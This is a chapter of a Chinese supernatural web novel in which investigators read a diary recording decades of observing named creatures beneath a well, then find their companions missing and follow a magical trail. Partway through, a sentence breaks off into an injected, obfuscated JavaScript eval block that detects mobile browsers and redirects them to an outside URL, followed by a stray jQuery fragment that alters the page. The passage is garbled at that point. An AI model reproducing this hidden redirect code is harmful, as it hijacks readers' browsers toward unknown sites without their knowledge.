“今日下井。第一次。”
下面记着几行观察记录:
“井底比想象中宽敞,但是四处都像内脏颜色的感觉。见到第一个给它取名阿青,它蹲在角落里,一动不动。我靠近,它转头看我,眼睛不像眼睛,但我知道它在看我。”
“阿青不动,也不攻击,只是看。”
辜月翻了几页,后面是连续的记录,每一页都写着名字和编号:
“阿青,观察第一年,今日它动了,往我这边挪了三步。我后退,它停下,似乎在试探距离。”
“阿黄,新发现的,比阿青小一圈,身上有黄斑。它跟在我后面走了很久,我停下,它也停下,我转身,它把头低下。”
“第三年,阿青今日开口了,不是像人一样说话,是发出声音,像在模仿我咳嗽。我咳了一声,它跟着咳了一声,简直一模一样。”
再翻几页:
“阿青开始学我走路,我走三步,它走三步,我停下它就停下。我回头看它,它也歪头看我。”
“今日带了一个瓶子下去,装了一点下面的水上来,水里我很确定有东西在动,但不清楚具体是什么。”
“阿黄今日受伤了,不知是被什么伤的。我给它涂了点药,它居然没躲,感觉很听话。”
辜月继续往后翻,后面越来越多,名字也越来越多:阿青、阿黄、阿紫、阿灰、阿褐……每一个都有编号,都有日期,都有观察记录,有的记录很长,有的只有一两句。
“阿紫今日带我去一个地方,它走几步,回头看我,再走几步,它学会了等人,好神奇。我跟上去走到一处洞口,洞里很黑,阿紫停下,不走了,它好像在告诉我什么。”
“下井第十年,阿青今日突然开口说话:‘你是人’。我愣了很久,它又说了一遍,‘你是人’。”
“我问它,你呢?它没回答。”
翻到中间,有一页记录特别长:
“今日带阿青上来,只是到井口附近,没让它出来,它看井外的光,看了很久。我问它想出来吗?它摇头,不是人摇头那种,是身体晃动,但我知道它在摇头。”
“阿黄最近总跟着阿青,像是阿青教了它什么。今天阿黄也开口了,说的也是‘你是人’。”
“它们在学习。学我,学人。”
再往后翻,日期越来越近:
“下井第三十年。今日发现阿紫会画画,在地上画,用的是爪子。画的是人,歪歪扭扭,但能看出是人形。”
“我问它画的是谁。它指我,又指自己。”
“它觉得自己是人。”
辜月翻书的的手指停在某一页。
这一页的日期是两年前,字迹比之前潦草:
“今日阿青死了,不知道怎么死的,早上下去,它就那么躺着,其他几个围在它旁边,一动不动。”
“我把阿青埋了,阿黄一直跟着我,看着我埋,埋完回头,阿黄还在那个位置站着,站了很久。”
“它们知道死。”
再翻几页,日期更近了:
“阿黄开始学阿青走路的样子。不是学我走路,是学阿青,它模仿的就是阿青,它在替阿青活着。”
“今日发现阿灰在角落里自言自语。凑近听,它在重复阿青说过的话‘你是人,你是人,你是人’。”
“它们在记住阿青。”
最后一页,日期就在半年前:
“今日上来。阿黄跟着我到井口,没上来,它看着我,看了很久。”
“我得走了,井下界待得我好累。”
笔记本到这里就结束了。
辜月合上本子,抬头看向其他人。
水亮张了张嘴,又闭上,最后冒出一句:“这些是人名?还是……”
那些名字阿青、阿黄、阿紫……每一个都有记录,都有观察,都有故事,它们会咳嗽,会走路,会画画,会记住死去的同伴。
但它们真的是那些虫形人吗?和她们在天井里遇见的那四个,完全不一样。
苗佳小声问:“这上面写的和咱们遇见的,是同一种东西吗?”
齐队盯着那个笔记本,眉头皱得死紧:“写这个的人,认识它们,很久以前就认识,感觉很像沈老夫人。她是沈宅待得最久的人,而且看这些日期和她现在年龄差不多。”
韩梅沉默了几秒,把那本笔记本小心收起来:“先收起来,和江衍之她们汇合再说。”
韩梅沉默了几秒,把那本笔记本小心收起来,连同那个藤条箱里的几页散纸一起塞进包里。
“先收起来。和江衍之她们汇合再说。”
她站起身,目光扫过房间里的东西,最后落在那只藤条箱上。
苗佳问道:“沈明玥的伤怎么办?咱们下来这一趟,没找到解药之类的东西。”
辜月走到那个藤条箱前,蹲下,拿起一根针管看了看:“这些,不就是她研究的?”
水亮愣了愣:“你是说……这人研究的那些东西,能治沈明玥的伤?”
辜月没点头也没摇头,她把针管放回去,又拿起一个瓶子对着灯光看了看:“不知道。但可以试试。”
齐队想了想,点头:“带上。总比什么都没有强,也比你……你去抓一个那东西回来更安全。”
苗佳找了个布袋子,把那些瓶瓶罐罐和针管小心装进去。
六人最后看了一眼这个房间,煤油灯还在燃着,火苗微微跳动,把墙上的影子晃得忽长忽短。
众人原路返回,爬过那条斜洞,穿过那堵已经打开的墙,走过那条点着八盏灯的甬道,从生门出去。
一路上什么都没发生,那些凝固的蛾子还在原地,一动不动,头顶的白纸灯笼还在摇晃,烛火明明灭灭。
水亮回头看了一眼那个黑洞洞的入口,忍不住开口:“你们说……那房间,会不会是沈老夫人的秘密基地?”
齐队看向他:“怎么说?”
“就是……”
水亮边走边琢磨:“沈老夫人待在沈宅这么多年,不可能对井下界一点不知道。那些日记里写的,对虫形人的了解,不是一年两年能积累出来的。她肯定下去过很多次,和那些东西打过很多交道。”
苗佳接话:“那她失踪,会不会就是去了那个房间?”
“有可能。”韩梅点头认可这个情况,“也许她本来就是想下去,结果正好碰上那些画出事,被卷进更深的井下界了。”
水亮还是觉得哪里不对:“可她图啥呢?好好在上面待着不行吗?下去干嘛?”
裴送青走在队伍中间,声音不高,但所有人都听见了。
“也许是回来看它们。”
众人看向他。
“看谁?”
裴送青继续前进说道:“那些东西,日记里写的那些——阿青、阿黄、阿紫。她给它们取名字,观察它们,记录它们。她下去不是一天两天,是几十年。”
他顿了顿,补了一句:“可能在她眼里,它们不是怪物。”
这话让所有人都沉默了,水亮张了张嘴想说什么,却又闭上。
他想起日记里那些记录,阿青学她走路,阿黄跟着她,阿紫画画,阿青死了其他几个围着它一动不动……
那些文字里没有恐惧,没有厌恶,只有记录,观察,而且也说不上喜欢与否。
“家人?”苗佳小声说,语气里带着点不确定,“她把那些东西当家人?”
裴送青没回答,但所有人都觉得,这个猜测,好像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17324498|188502||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也没那么离谱。
齐队深吸一口气,加快脚步:“先回去。到了再说。”
***
六人穿过回廊,绕过天井,回到那棵藏着密室的枯树前。
但那扇树门却开着。
韩梅脸色瞬间一变,她快步冲进去,密室空无一人。
沈明玥不在,林晚不在,江衍之不在,成乐不在,王衡、赵英、罗兰——全都不在。
只有地上散落着几样东西:一只急救包,被踩扁了,里面的东西滚了一地;一盏打翻的油灯,灯油流出来,已经干了;墙上有几道深深的抓痕,像是有什么东西用力挠过。
齐队蹲下,看着那些抓痕,脸色沉下来。
“她们出事了。”
韩梅深吸一口气,强迫自己冷静下来,她蹲在齐队旁边,仔细看着地上的痕迹。
散落的纱布没有被踩踏的痕迹,像是被人匆忙间碰落的;打翻的油灯旁边,有一串浅浅的脚印,方向看起来像是往外跑。
“不是被抓走的,是自己跑的。”齐队站起身说道。
苗佳环顾四周:“门呢?门当时是关着的吧?”
水亮凑到门边看了看,脸色变了变:“锁没坏。是被从外面拉开的。”
他指着门框上的一道划痕:“你看这儿,有什么东西从外面把门扒开了,力气很大,把门框都刮花了。”
齐队站起身,目光落在墙上的几道抓痕上,那几道痕迹很深,从墙的上方一直划到下方。
“那是什么东西?”苗佳小声问。
韩梅把那些散落的东西一样一样捡起来看,纱布、碘伏、消炎药,都是王衡急救包里的,翻到最下面,她手指碰到一个硬物,是一块玉佩。
玉佩上系着一根红绳,红绳的一端被扯断了。
韩梅把玉佩翻过来看,背面刻着“江”字,她转身递给裴送青:“看来她们走得很急。江衍之连这个都掉了。”
裴送青走过来,接过玉佩看了看,他盯着那枚印记,眉头微微皱起。
“以我对她的了解,她大概不可能把这个弄掉。”
他顿了一下,把玉佩翻过来,又翻过去,像是在确认什么。
然后他闭上眼,手指摩挲着玉佩的边缘,几秒后,他睁开眼,目光落在密室最深处的角落。
“明白了。”
接着裴送青走过去,伸手在墙上摸索,摸到某处时,他的手指停住,那里有一个极浅极浅的印记,像是用指甲刻的,歪歪扭扭,几乎看不清。
裴送青把手掌按上去,闭上眼,一股灵力从他掌心探出,沿着墙面缓缓扩散。
慢慢地,墙上浮现出一条极淡的线,像月光凝成的丝线,若隐若现,从那个印记出发,穿过墙,延伸向密室外的黑暗里。
裴送青睁开眼说道:“江衍之留下的。胎光一脉的指引线。她用灵力刻在墙上,只有同门能感应到。”
他顿了顿,补了一句:“她猜到会有人来找。”
齐队当机立断:“走。跟着这条线。”
六人冲出密室,跟着那条若隐若现的月光丝线,穿过院子,钻进回廊。
丝线在回廊里蜿蜒向前,忽明忽暗,像是随时会断掉,裴送青走在最前面,眼睛死死盯着那条线,生怕它消失。
拐过一个弯,丝线忽然往她们头上飘去。
众人停下脚步,抬头看,回廊上方是二层,木质的楼梯通往上面,楼梯口黑洞洞的,什么也看不见。
“她们上楼了?”苗佳压低声音。
裴送青点头,正要踏上楼梯──
咚。
所有人同时僵住。
那声音从头顶传来,就在她们正上方,二楼的位置。
咚。咚。咚。